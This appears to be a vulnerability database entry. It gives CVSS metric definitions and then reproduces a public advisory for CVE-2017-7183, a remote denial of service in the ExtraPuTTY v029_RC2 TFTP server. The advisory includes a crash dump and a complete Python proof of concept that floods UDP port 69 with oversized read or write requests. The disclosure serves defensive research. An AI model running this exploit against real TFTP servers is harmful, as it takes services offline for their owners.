The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
ExtraPuTTY v029_RC2 TFTP Denial Of Service[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/EXTRAPUTTY-TFTP-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec
Vendor:
==================
www.extraputty.com
Product:
======================
ExtraPuTTY - v029_RC2
hash: d7212fb5bc4144ef895618187f532773
Also Vulnerable: v0.30 r15
hash: eac63550f837a98d5d52d0a19d938b91
ExtraPuTTY is a fork from 0.67 version of PuTTY.
ExtraPuTTY has all the features from the original soft and adds others.
Below a short list of the principal features (see all features):
DLL frontend
TestStand API ( LabWindows ,TestStand 2012)
timestamp
StatusBar
Scripting a session with lua 5.3.
Automatic sequencing of commands.
Shortcuts for pre-defined commands.
Keyboard shortcuts for pre-defined command
Portability (use of directories structure)
Integrates FTP,TFTP,SCP,SFTP,Ymodem,Xmodem transfert protocols
Integrates PuTTYcyg,PuTTYSC, HyperLink, zmodem and session manager projects
Change default settings from configuration file
Change putty settings during session
PuTTYcmdSender : tool to send command or keyboard shortcut to multiple putty windows
Vulnerability Type:
=======================
TFTP Denial of Service
CVE Reference:
==============
CVE-2017-7183
Security Issue:
================
TFTP server component of ExtraPuTTY is vulnerable to remote Denial of Service attack by sending large junk UDP
Read/Write TFTP protocol request packets.
Open ExtraPuTTY Session Manager, select => Files Transfer => TFTP Server, run below Python exploit.
Then, BOOM
(100c.30c): Access violation - code c0000005 (first/second chance not available)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for kernel32.dll -
eax=00000000 ebx=0929ee98 ecx=00000174 edx=7efefeff esi=00000002 edi=00000000
eip=77b4015d esp=0929ee48 ebp=0929eee4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!ZwWaitForMultipleObjects+0x15:
Exploit/POC:
=============
import socket
print "ExtraPuTTY v029_RC2 TFTP Server"
print "Remote Denial Of Service 0day Exploit"
print "John Page AKA hyp3rlinx\n"
TARGET=raw_input("[IP]>")
TYPE=int(raw_input("[Select DOS Type: Read=1, Write=2]>"))
CRASH="A"*2000
PORT = 69
if TYPE==1:
PAYLOAD = "\x00\x01"
PAYLOAD += CRASH + "\x00"
PAYLOAD += "netascii\x00"
elif TYPE==2:
PAYLOAD = "\x00\x02"
PAYLOAD += CRASH + "\x00"
PAYLOAD += "netascii\x00"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto("\x00\x01\TEST\x00\netascii\x00", (TARGET, PORT))
recv = s.recvfrom(255)
if recv != None:
print "Crashing ExtraPuTTY TFTP server at : %s" %(TARGET)
s.sendto(PAYLOAD, (TARGET, PORT))
except Exception:
print 'Server not avail, try later'
s.close()
Network Access:
===============
Remote
Severity:
=========
Medium
Disclosure Timeline:
===============================
Vendor Notification: No reply
March 20, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
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